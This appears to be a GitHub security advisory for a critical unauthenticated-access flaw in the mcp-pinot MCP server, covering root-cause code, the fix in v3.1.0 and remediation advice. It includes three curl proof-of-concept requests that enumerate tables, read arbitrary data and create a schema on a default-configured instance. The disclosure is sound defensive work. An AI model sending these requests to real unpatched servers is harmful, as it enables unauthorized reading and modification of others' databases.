CVE-2026-49257

Resolution

Fixed in v3.1.0, released 2026-05-25. The fix was merged in PR #95 at commit 1c7d3f9.

The fix changes the default HTTP bind host to 127.0.0.1, refuses non-loopback HTTP/HTTPS exposure unless OAuth is enabled, makes Helm exposure opt-in and OAuth-gated, and adds parser-backed single-statement read-only validation for read-query.

CVSS evaluation

Reviewed on 2026-05-25. The advisory remains Critical with CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H = 10.0.

Rationale:

Unauthenticated tool invocation via default oauth_enabled=False + host 0.0.0.0 bind

mcp-pinot v3.0.1 (and earlier) defaults to running an HTTP MCP server bound to 0.0.0.0:8080 with no authentication enabled. All MCP tools, including SQL query execution, schema creation, and table-config mutation, are reachable by any network-adjacent caller. The server proxies these calls using server-side Pinot credentials, producing a confused-deputy condition that yields full read/write access to the configured Pinot cluster.

Affected versions

• All releases on main, confirmed in tags v2.1.0 through v3.0.1.
• Affected files: mcp_pinot/server.py, mcp_pinot/config.py.

Root cause

Three defaults compose to produce unauthenticated network exposure:

1. Auth is opt-in and defaults to off (mcp_pinot/config.py:64,328):

@dataclass
class ServerConfig:
    ...
    oauth_enabled: bool = False
    ...

def load_server_config() -> ServerConfig:
    return ServerConfig(
        ...
        oauth_enabled=os.getenv("OAUTH_ENABLED", "false").lower() == "true",
        ...
    )

2. Auth construction is gated by oauth_enabled (mcp_pinot/server.py:26-46):

_auth = None
if server_config.oauth_enabled:
    oauth_config = load_oauth_config()
    token_verifier = JWTVerifier(...)
    _auth = OAuthProxy(...)

mcp = FastMCP("Pinot MCP Server", auth=_auth)

When oauth_enabled is false (default), _auth stays None and FastMCP registers all @mcp.tool endpoints with no authentication.

3. Default bind is all interfaces on a well-known port (mcp_pinot/config.py:60-61):

host: str = "0.0.0.0"
port: int = 8080

The HTTP transport in server.py:263-268 uses these values directly. Any operator following the README's HTTP transport instructions (uv pip install, .env from .env.example, run) ends up with a network-reachable MCP server with no auth.

Confused-deputy

The Pinot client uses server-side credentials loaded from environment variables (mcp_pinot/config.py:285-294, 300-315). When an unauthenticated MCP caller invokes read_query or any other tool, the request is executed with the server's PINOT_TOKEN or PINOT_USERNAME/PINOT_PASSWORD, which is typically a privileged service account. The MCP server effectively launders the caller's lack of identity into the server's privileges against the upstream cluster.

Exposed tools

All 14 tools in mcp_pinot/server.py are exposed without auth in the default configuration:

Reproduction

Minimal reproduction against a default-configured mcp-pinot v3.0.1 instance running on http://victim:8080/mcp:

# 1. Enumerate tables (no Authorization header)
curl -X POST http://victim:8080/mcp \
  -H 'Content-Type: application/json' \
  -d '{
    "jsonrpc":"2.0",
    "method":"tools/call",
    "params":{"name":"list_tables","arguments":{}},
    "id":1
  }'

# 2. Read arbitrary table contents (server forwards using its own Pinot credentials)
curl -X POST http://victim:8080/mcp \
  -H 'Content-Type: application/json' \
  -d '{
    "jsonrpc":"2.0",
    "method":"tools/call",
    "params":{
      "name":"read_query",
      "arguments":{"query":"SELECT * FROM <table> LIMIT 100"}
    },
    "id":2
  }'

# 3. Create a new schema (write privileges)
curl -X POST http://victim:8080/mcp \
  -H 'Content-Type: application/json' \
  -d '{
    "jsonrpc":"2.0",
    "method":"tools/call",
    "params":{
      "name":"create_schema",
      "arguments":{
        "schemaJson":"{\"schemaName\":\"attacker_schema\",\"dimensionFieldSpecs\":[{\"name\":\"id\",\"dataType\":\"STRING\"}]}"
      }
    },
    "id":3
  }'

Severity (CVSS 3.1)

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H = 10.0 Critical

If the operator restricts the bind address to 127.0.0.1 via MCP_HOST, AV drops to Local and the score reduces. But this is not the documented default.

Suggested remediation

Two independent hardenings, both recommended:

A. Refuse to start in an insecure default, in server.py main(), fail-closed when:

• transport != "stdio"
• server_config.oauth_enabled is False
• server_config.host is not a loopback address (e.g. not in {"127.0.0.1", "::1", "localhost"})

Sample:

def _is_loopback(host: str) -> bool:
    return host in {"127.0.0.1", "::1", "localhost"}

def main():
    ...
    if server_config.transport != "stdio" and not server_config.oauth_enabled and not _is_loopback(server_config.host):
        raise SystemExit(
            "Refusing to start: HTTP transport bound to non-loopback host "
            f"({server_config.host}) without OAuth. Set OAUTH_ENABLED=true or "
            "set MCP_HOST=127.0.0.1 for local-only access."
        )
    ...

B. Default oauth_enabled to True and require explicit opt-out for local development. This matches the principle of secure-by-default for network-facing services.

C. Document the threat model in README under a "Production deployment" section, including:

• Explicit warning that the server should not be exposed to untrusted networks without OAuth
• Recommendation to set MCP_HOST=127.0.0.1 for stdio/local-only deployments

Resources

• mcp_pinot/server.py lines 26-46, 248-269
• mcp_pinot/config.py lines 56-65, 318-330
• FastMCP auth parameter behavior when None: https://github.com/jlowin/fastmcp
• The Register, May 13 2026: MCP database flaws across Doris, Pinot, RDS

Reporter

Independent security researcher. Disclosed via GitHub Security Advisory, 2026-05-23.